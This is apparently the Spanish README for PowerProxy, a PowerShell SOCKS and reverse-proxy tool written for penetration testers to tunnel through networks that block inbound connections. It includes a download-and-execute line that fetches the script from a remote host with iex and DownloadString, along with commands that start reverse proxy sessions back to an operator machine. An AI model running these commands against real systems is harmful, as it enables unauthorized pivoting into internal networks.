
Proxy SOCKS de PowerShell con capacidades de proxy inverso.
Proxy SOCKS de PowerShell con capacidades de proxy inverso.
PowerProxy está escrito pensando en los probadores de penetración. La funcionalidad de proxy inverso es una prioridad, para atravesar redes que bloquean conexiones entrantes. Las conexiones de proxy inverso están cifradas por defecto. La autenticación de nombre de usuario/contraseña es compatible con conexiones Socks 5.
Importe el script:
iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1")
# O
Import-Module \\192.168.0.22\Public\PowerProxy.ps1
reverse_proxy_handler.py puede crear certificados SSL temporales, lo que requiere OpenSSL. Si OpenSSL no está instalado en su máquina (lo está en la mayoría de los sistemas basados en Linux/Unix), proporcione su propio certificado o use la opción --no-encrypt.
Para un uso detallado, consulte la ayuda de PowerProxy, o use ./reverse_proxy_handler.py --help
En la máquina local, inicie el manejador:
# Escuchar proxies inversos en el puerto 8080. Los clientes se conectan al puerto 1080 (por defecto)
./reverse_proxy_handler.py -p 8080
En PowerShell:
Start-ReverseSocksProxy 172.1.1.20 -Port 8080
Los clientes proxy pueden tratar el servidor creado por reverse_proxy_handler.py como si fuera el servidor SOCKS real:
curl --socks4 127.0.0.1:1080 http://10.10.2.69/
Start-SocksProxy 172.10.2.20 -Port 9050
Use objetos PSCredential para requerir un nombre de usuario y contraseña:
# Crear la credencial
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)
Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose